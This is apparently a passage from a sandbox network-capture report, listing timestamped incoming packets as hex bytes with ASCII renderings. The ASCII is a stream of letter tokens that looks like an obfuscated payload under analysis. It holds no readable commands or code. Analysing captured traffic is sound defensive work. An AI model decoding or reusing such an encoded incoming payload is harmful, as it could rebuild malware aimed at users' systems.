2021-11-09 21:21:48 UTC	118	IN	Data Raw: 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 51 20 4b 20 59 78 20 4b 6b 20 59 52 20 45 78 20 4f 51 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 74 20 59 78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 6f 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 74 52 20 52 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 45 78 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 6f 6b 20 59 74 20 59 6f 20 4b 74 20 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 52 52 20 59 78 20 59 4b 20 51 4b 20 4f 4f 6f 20 4f 4b 20 4b 78 20 4f 4f 6f 20 59 78 20 59 6f 20 74 52 20 52 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 6f 74 20 59 4f Data Ascii: OK OOt OxQ OOo Yx Yx tE OOt kK OOK OOE OQ K Yx Kk YR Ex OQQ OOY OOt OxE Qo Yt Yx tE OOt kK OOK OOE RQ o Yx Kk YR Yo Kt YE OOt OxQ OOR tR Rk Yx YK QK Qx oEx Oxk OOo YR ok Yt Yo Kt YE OOt OxQ OOR oR RR Yx YK QK OOo OK Kx OOo Yx Yo tR RR kK OOK Oot RQ oot YO
2021-11-09 21:21:48 UTC	122	IN	Data Raw: 6f 6b 20 74 4b 20 4f 4f 6f 20 4f 4b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f Data Ascii: ok tK OOo OK oYK OOo Yx Yo oK ox kR OOE k oYK OOo Yx Yo oK Kx kR Q ooY OxQ OOo YK oR OR Yo kt OY ooY OxQ OOo YK oR KK Yo Kt oEO OOt OxQ OOR oK Ok Kk YE KO oEO OOt OxQ OOR oK KR Kk tt OQK OOK OOt OxY Qx OR Yx KQ tY OQK OOK OOt OxY Qx KK Yx tE ORO kK OOK OO
2021-11-09 21:21:48 UTC	126	IN	Data Raw: 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 51 51 20 4f 4f 4b 20 74 4b 20 4f 74 59 20 51 59 20 6f 45 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 6b 20 6f 4b 74 20 6f 20 4f 4b 4f 20 45 52 20 59 78 20 74 78 20 4f 6f 4b 20 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 4b 20 45 51 20 6f 4b 20 59 4b 20 6b 4b 20 51 74 20 52 51 20 4f 4f 4f 20 4f 4f 6f 20 4f 6f 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 59 20 51 45 20 4f 4b 6b 20 59 4f 20 59 4b 20 51 4b 20 4f 78 4f 20 74 78 20 4b 74 20 4f 4f 59 20 45 52 20 51 59 20 4f 59 4f 20 59 59 20 6b 4b 20 4f 6f 78 20 6b 51 20 6b 4b 20 4f 4f 59 20 51 45 20 4f 6f 74 20 59 4f 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 4f 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 51 59 20 4f 4b 51 20 Data Ascii: OQO OxR Yx YK kY kt QQ OOK tK OtY QY oER YK kK Oox Qk oKt o OKO ER Yx tx OoK Kt OOt OxQ Ooo oK EQ oK YK kK Qt RQ OOO OOo Oot Kk Yx YK kK OOK OOt OxQ OOY QE OKk YO YK QK OxO tx Kt OOY ER QY OYO YY kK Oox kQ kK OOY QE Oot YO YK QK oQ oOO Oxk OOo YR QY OKQ
2021-11-09 21:21:48 UTC	129	IN	Data Raw: 4f 45 45 20 4f 4f 52 20 4f 4f 6b 20 59 78 20 4f 4f 20 45 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 45 74 20 74 59 20 4f 4b 51 20 59 20 59 6f 20 59 4b 20 6b 59 20 4b 6b 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 59 6b 20 4f 6b 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 78 52 20 6b 51 20 4f 51 4b 20 4b 4f 20 59 6f 20 59 4b 20 6b 4b 20 6b 45 20 4f 45 45 20 4f 4f 52 20 4f 4f 6b 20 59 78 20 45 74 20 4f 4f 4b 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 78 6f 20 74 4b 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 6f 6f 6f 20 74 52 20 45 78 20 52 59 20 6f 59 4f 20 59 4f 20 4f 78 4f 20 78 20 59 4b 20 6b 4b 20 4f 6f 4b 20 4f 4f 74 20 6f 4b 78 20 52 59 20 6f 45 74 20 6f 74 20 52 78 20 59 4b 20 52 20 74 52 20 4f 74 78 20 74 78 20 4f 6f 52 20 59 78 20 Data Ascii: OEE OOR OOk Yx OO E QE Oox OOR OOt Et tY OKQ Y Yo YK kY Kk Ex RY OOk Yx OYk Ok QE Oox OOR OOt oxR kQ OQK KO Yo YK kK kE OEE OOR OOk Yx Et OOK QE Oox OOR OOt oxo tK kQ ok Yo YK ooo tR Ex RY oYO YO OxO x YK kK OoK OOt oKx RY oEt ot Rx YK R tR Otx tx OoR Yx
2021-11-09 21:21:48 UTC	133	IN	Data Raw: 6b 20 4f 6f 4f 20 59 4f 20 45 6f 20 59 78 20 4f 59 51 20 74 45 20 4f 4f 4b 20 4f 4f 74 20 59 6f 20 4f 4f 45 20 6f 6f 20 4b 6b 20 4b 78 20 59 59 20 51 45 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 6f 78 45 20 4f 4f 45 20 4b 6b 20 59 78 20 4f 4f 4f 20 6b 59 20 6b 4b 20 4f 4f 74 20 4f 4f 51 20 4f 4f 45 20 59 51 20 4b 51 20 45 4b 20 59 4b 20 6f 6f 6b 20 4b 51 20 4f 4f 74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 59 20 59 78 20 4b 4b 20 6b 59 20 4f 4f 59 20 4f 4f 74 20 4f 6f 59 20 4f 4f 6f 20 6b 4b 20 45 45 20 59 78 20 59 4b 20 4f 6f 59 20 4f 4f 4b 20 51 59 20 4f 78 51 20 4f 78 52 20 59 4f 20 4b 51 20 59 78 20 45 6b 20 6b 4b 20 4f 74 4f 20 4f 78 78 20 4f 78 51 20 4f 4f 6f 20 6f 74 20 4b 6b 20 45 78 20 59 4b 20 74 59 20 4f 4f 59 20 4f 4f 52 20 4f 78 51 20 51 52 20 59 78 Data Ascii: k OoO YO Eo Yx OYQ tE OOK OOt Yo OOE oo Kk Kx YY QE OOY OxO OxQ oxE OOE Kk Yx OOO kY kK OOt OOQ OOE YQ KQ EK YK ook KQ OOt OxQ KO YO oY Yx KK kY OOY OOt OoY OOo kK EE Yx YK OoY OOK QY OxQ OxR YO KQ Yx Ek kK OtO Oxx OxQ OOo ot Kk Ex YK tY OOY OOR OxQ QR Yx
2021-11-09 21:21:48 UTC	137	IN	Data Raw: 45 6b 20 4f 4f 52 20 4f 4f 52 20 4f 6f 4b 20 45 6b 20 4f 74 6b 20 6f 4b 4f 20 59 6b 20 59 59 20 52 51 20 45 52 20 6f 4b 59 20 45 74 20 4f 6f 45 20 59 4f 20 45 45 20 59 4f 20 59 4b 20 78 20 4f 4f 78 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 4b 4f 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 78 20 4f 78 74 20 4f 4b 6b 20 4b 6b 20 59 4f 20 59 4b 20 4f 74 78 20 4f 78 59 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 6f 6f 74 20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 4f 78 74 20 4f 4b 6b 20 4b 6b 20 59 4f 20 59 4b 20 4f 45 59 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 78 52 20 4b 4f 20 52 45 20 52 51 20 4f 4f 52 20 4f 4f 74 20 4f 6b 45 20 6b 74 20 45 45 20 45 45 20 59 6f 20 59 4b 20 74 Data Ascii: Ek OOR OOR OoK Ek Otk oKO Yk YY RQ ER oKY Et OoE YO EE YO YK x OOx oOO OxQ OOE Yx OYo KO OKK kK OOY OOt OQx Oxt OKk Kk YO YK Otx OxY OOY OoK OOE Yx oot KR OKK kK OOY OOt OQt Oxt OKk Kk YO YK OEY OxY oOO OxQ OOE Yx oxR KO RE RQ OOR OOt OkE kt EE EE Yo YK t
2021-11-09 21:21:48 UTC	141	IN	Data Raw: 45 51 20 52 4f 20 74 78 20 52 59 20 4f 4f 52 20 52 51 20 51 51 20 4f 45 4f 20 45 45 20 4f 20 59 59 20 6f 6b 20 4f 6f 6f 20 4f 51 52 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 74 6b 20 45 74 20 45 74 20 52 51 20 52 59 20 4f 4f 52 20 52 51 20 4f 4f 6b 20 4f 45 4f 20 45 45 20 4f 20 59 59 20 4b 4b 20 4f 78 52 20 4f 59 78 20 4f 6f 4b 20 52 74 20 59 4f 20 59 45 20 52 4f 20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 51 51 20 51 52 20 4f 74 59 20 45 45 20 4f 20 59 59 20 4f 52 4f 20 51 74 20 4f 78 4f 20 4f 6f 74 20 52 74 20 59 4f 20 51 6b 20 52 45 20 45 59 20 74 78 20 52 59 20 4f 4f 52 20 6f 6f 59 20 4f 78 6f 20 6f 45 59 20 45 45 20 4f 20 59 59 20 59 20 51 74 20 4f 74 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 6f 6f 6b 20 45 74 20 45 74 20 52 51 20 52 59 20 4f 4f 52 20 6f 59 Data Ascii: EQ RO tx RY OOR RQ QQ OEO EE O YY ok Ooo OQR OoK Rt YO Otk Et Et RQ RY OOR RQ OOk OEO EE O YY KK OxR OYx OoK Rt YO YE RO Otk RQ RY OOR OQQ QR OtY EE O YY ORO Qt OxO Oot Rt YO Qk RE EY tx RY OOR ooY Oxo oEY EE O YY Y Qt Oto OoK Rt YO ook Et Et RQ RY OOR oY
2021-11-09 21:21:48 UTC	146	IN	Data Raw: 74 4f 20 6f 4b 59 20 4f 6f 4f 20 6f 78 20 59 78 20 59 52 20 4f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 4f 6f 20 6b 78 20 4b 4f 20 4f 6b 59 20 45 4b 20 4b 51 20 4f 4f 4b 20 74 45 20 4b 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 6b 4b 20 45 20 4f 78 6b 20 45 78 20 4f 78 78 20 6b 4b 20 4b 6b 20 52 52 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 78 20 4f 6b 51 20 59 20 4f 6b 6f 20 52 4b 20 6f 4f 20 4f 4f 74 20 6f 78 4f 20 59 4f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 4f 4b 20 6f 4b 59 20 4f 4f 52 20 45 20 45 6b 20 6b 6b 20 59 78 20 6f 45 6b 20 6f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 4b 6b 20 6f 6f 6b 20 78 20 45 51 20 4f 78 6f 20 6f 6b 20 4f 78 51 Data Ascii: tO oKY OoO ox Yx YR OOE YK kK OOK OOt oEY OOo kx KO OkY EK KQ OOK tE KR OOo Yx Kk Yx OtR kK E Oxk Ex Oxx kK Kk RR OOt kK OOK OOt OxQ oKR Yx OkQ Y Oko RK oO OOt oxO YO Yx Kk Yx YK oOx OOK oKY OOR E Ek kk Yx oEk oE OOK OOt OxQ OOo Okx Kk ook x EQ Oxo ok OxQ
2021-11-09 21:21:48 UTC	150	IN	Data Raw: 74 6f 20 6b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 4f 74 20 4f 52 74 20 74 74 20 4f 52 4b 20 45 74 20 4f 6b 20 59 59 20 4f 59 74 20 6f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 4b 6f 20 4f 6b 4b 20 51 52 20 4f 4f 59 20 4f 4f 74 20 74 52 20 4f 4f 45 20 6f 45 78 20 6b 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 74 51 20 4f 78 51 20 4f 51 20 78 20 4f 74 74 20 45 51 20 6f 45 20 6b 59 20 4b 6f 20 6f 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4b 4b 20 59 4b 20 6f 45 52 20 74 4b 20 6f 59 4b 20 4f 6f 78 20 6b 45 20 59 4f 20 51 6f 20 6b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 45 78 20 6b 20 4f 74 45 20 45 59 20 4f 4f 51 20 4f 4f 59 20 4f 20 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 Data Ascii: to kY Kk Yx YK kK oKK OOt ORt tt ORK Et Ok YY OYt oO OOt OxQ OOo Yx Oko Ko OkK QR OOY OOt tR OOE oEx kt Yx YK kK OOK OtQ OxQ OQ x Ott EQ oE kY Ko oQ OxQ OOo Yx Kk oKK YK oER tK oYK Oox kE YO Qo kQ YK kK OOK OOt oEY Oox oEx k OtE EY OOQ OOY O R OOo Yx Kk Y
2021-11-09 21:21:48 UTC	154	IN	Data Raw: 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 74 59 20 4f 51 20 6f 74 20 6b 74 20 6f 4f 20 4f 4f 52 20 4f 6b 4f 20 6f 78 6b 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51 20 4f 4f 45 20 59 78 20 6b 6b 20 59 4f 20 6f 4f 4b 20 6f 4b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 45 59 20 59 6b 20 4f 59 74 20 4f 4f 4b 20 6f 51 20 4f 78 6b 20 4f 59 6f 20 4f 4b 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4b 78 20 4f 6f 4b 20 45 4b 20 4b 6b 20 51 78 20 59 59 20 4f 52 59 20 6f 4f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 4f 45 20 6b 78 20 4f 6b 74 20 4f 4f 74 20 4b 20 4f 4f 45 20 6f 78 45 20 4f 4b 4b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f Data Ascii: t OxQ oEx Yx OtY OQ ot kt oO OOR OkO oxk Yx Kk Yx YK oOx OxR oYO kQ OOE Yx kk YO oOK oKK OOK OOt OxQ OOo Okx YR oEY Yk OYt OOK oQ Oxk OYo OKR Kk Yx YK kK oKK OoY OKx OoK EK Kk Qx YY ORY oOx OOt OxQ OOo Yx Oko Yk OOE kx Okt OOt K OOE oxE OKK Yx YK kK OOK o
2021-11-09 21:21:48 UTC	158	IN	Data Raw: 20 51 6f 20 6f 4b 78 20 4f 4f 45 20 6f 4b 4b 20 4f 4f 45 20 74 20 4f 4b 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 6f 78 59 20 59 6b 20 59 45 20 59 78 20 4f 74 59 20 6b 59 20 74 52 20 6f 4f 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 78 4b 20 4f 6f 4f 20 4f 6b 6b 20 4f 78 51 20 6f 45 4b 20 59 4f 20 4f 4f 6b 20 4f 4b 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 4f 4f 6b 20 59 51 20 45 4b 20 59 4b 20 6f 78 52 20 4f 4f 59 20 59 6b 20 6f 78 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 74 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 52 51 20 4b 51 20 4f 78 4f 20 4f 4b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 4f 4f 51 20 59 4b 20 Data Ascii: Qo oKx OOE oKK OOE t OKt Yx YK kK OOK oKE OxO oxY Yk YE Yx OtY kY tR oOK OxQ OOo Yx Kk Okx Ro OxK OoO Okk OxQ oEK YO OOk OKY YK kK OOK OOt oEY Oox OOk YQ EK YK oxR OOY Yk oxR OOo Yx Kk Yx OtR tR oYo RY Oxk OOo ORQ KQ OxO OKQ kK OOK OOt OxQ oKR Yk OOQ YK
2021-11-09 21:21:48 UTC	161	IN	Data Raw: 51 6b 20 6f 4f 59 20 4f 4f 45 20 4f 45 45 20 4f 59 78 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 4f 78 52 20 4b 51 20 74 6b 20 45 74 20 4f 4b 4f 20 6b 59 20 6f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 4f 51 20 4f 4f 45 20 6f 59 45 20 4f 6f 6f 20 6f 78 45 20 59 4f 20 6f 4b 6b 20 4f 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 59 78 20 59 6f 20 4f 78 6f 20 45 45 20 6f 45 6f 20 4f 4f 59 20 4f 52 59 20 6f 78 45 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 4f 52 45 20 4f 4f 45 20 59 4f 20 4f 78 45 20 4f 4b 6f 20 4b 51 20 6f 45 59 20 4f 4b 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 6f 6b 20 59 45 20 74 6f 20 52 74 Data Ascii: Qk oOY OOE OEE OYx Yx YK kK OOK oKE OxO OxR KQ tk Et OKO kY oxY oOO OxQ OOo Yx Kk Okx Ro OOQ OOE oYE Ooo oxE YO oKk OKk YK kK OOK OOt oEY Oox oYx Yo Oxo EE oEo OOY ORY oxE OOo Yx Kk Yx OtR Qo ORE OOE YO OxE OKo KQ oEY OKK kK OOK OOt OxQ oKR Yk ok YE to Rt
2021-11-09 21:21:48 UTC	165	IN	Data Raw: 6b 6f 20 4f 4f 59 20 6b 4b 20 4f 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 74 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 6f 78 6b 20 4b 51 20 6f 74 20 4f 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 45 20 59 78 20 4f 45 78 20 4b 51 20 51 6b 20 52 74 20 4f 4b 4b 20 4f 4f 52 20 51 4f 20 6f 4f 6b 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 59 20 4f 4f 4b 20 6f 45 51 20 4f 78 4f 20 4f 6b 51 20 45 74 20 6f 4f 78 20 59 4f 20 4f 4f 74 20 6f 59 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 74 74 20 4b 6b 20 4f 4b 6f 20 59 6b 20 4f 45 4f 20 4f 78 4f 20 4f 59 4f 20 4f 78 6b 20 45 6f 20 4f 59 6f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4f 20 4f 4f 74 20 52 74 20 4f 6f 74 20 6f 4f 4f 20 45 51 20 6f 78 6b 20 59 Data Ascii: ko OOY kK OQQ OOo Yx Kk Yx OtR tR oYo RY Oxk OOo oxk KQ ot OYR kK OOK OOt OxQ oKE Yx OEx KQ Qk Rt OKK OOR QO oOk Yx Kk Yx YK oOY OOK oEQ OxO OkQ Et oOx YO OOt oYK OOK OOt OxQ OOo Ott Kk OKo Yk OEO OxO OYO Oxk Eo OYo Kk Yx YK kK oKO OOt Rt Oot oOO EQ oxk Y
2021-11-09 21:21:48 UTC	169	IN	Data Raw: 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 4b 20 6b 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 78 6f 20 4b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 74 4b 20 4f 4f 45 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 45 4f 20 51 6f 20 59 78 20 4f 52 20 4b 6b 20 59 4b 20 6b 6f 20 4f 78 59 20 4f 4f 74 20 74 74 20 4f 4f 59 20 59 78 20 6f 78 6f 20 45 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 4f 45 20 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4b 59 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 78 20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6f 4b 6b 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 59 20 59 78 20 4f 4b 6b 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f Data Ascii: YK kK OOY OOt OxK kO Yx Kk YO YK oxo KQ OOt OxQ OOE Yx OtK OOE Yo kK OOY OOt EO Qo Yx OR Kk YK ko OxY OOt tt OOY Yx oxo EO YK kK OOk OOt oKK to Yx Kk YO YK oOE QK OOt OxQ OOK Yx OKY Ox YK kK OOY OOt Qx Yx Yx Kk Kk YK oKk Yx OOt OxQ OOY Yx OKk OOK YK kK O
2021-11-09 21:21:48 UTC	173	IN	Data Raw: 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f Data Ascii: OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OO
2021-11-09 21:21:48 UTC	178	IN	Data Raw: 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b Data Ascii: kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK
2021-11-09 21:21:48 UTC	182	IN	Data Raw: 59 59 20 4b 6b 20 52 6b 20 51 20 4f 6f 78 20 4f 4f 4b 20 51 74 20 4f 78 51 20 6f 4b 78 20 52 20 51 20 59 78 20 74 4f 20 6b 59 20 6f 4b 6f 20 52 59 20 4b 74 20 4f 4f 6f 20 74 59 20 4b 51 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 52 4b 20 4f 78 6b 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 6b 45 20 6b 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 6b 74 20 59 78 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 6f 6f 6b 20 4f 4f 4f 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 74 59 20 6b 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 59 59 20 59 78 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 78 59 20 4f 78 51 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 6b 20 6b 4b 20 6f 59 6f 20 52 59 20 6f 59 20 4f 4f 6f 20 4f 45 51 20 59 78 20 51 6b 20 4f 4f 20 4b 52 Data Ascii: YY Kk Rk Q Oox OOK Qt OxQ oKx R Q Yx tO kY oKo RY Kt OOo tY KQ Okk o kY OOK ORK Oxk oYK R KQ Yx OkE kR oYo RY Oxk OOo Okt Yx Okk o kY OOK ook OOO oYK R KQ Yx OtY kR oYo RY Oxk OOo OYY Yx Okk o kY OOK OxY OxQ oYK R KQ Yx Ok kK oYo RY oY OOo OEQ Yx Qk OO KR
2021-11-09 21:21:48 UTC	186	IN	Data Raw: 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 78 20 6b 4b 20 45 4b 20 6b 59 20 6f 78 6b 20 4f 4f 4b 20 6f 4b 45 20 59 78 20 4f 59 52 20 4f 4f 20 6f 6f 20 4f 6f 6f 20 4b 4f 20 4f 78 6b 20 45 59 20 4b 4f 20 52 6b 20 59 4f 20 4f 78 20 6b 4b 20 6f 59 6f 20 52 59 20 6f 78 6b 20 4f 4f 4b 20 45 59 20 59 4f 20 4f 4f 74 20 6f 78 20 4f 51 45 20 4f 4f 45 20 4f 74 20 4f 78 6b 20 6f 59 4b 20 52 20 52 6b 20 59 78 20 51 78 20 6b 59 20 6f 4b 6f 20 52 59 20 6b 4b 20 4f 4f 6f 20 74 78 20 4b 51 20 52 6b 20 51 20 4f 4f 59 20 4f 4f 4b 20 51 20 4f 78 6b 20 4f 4f 51 20 4f 4f 6f 20 6f 45 20 59 78 20 74 4b 20 6b 59 20 4f 4f 59 20 6b 6f 20 4f 74 4f 20 4f 6f 78 20 6f 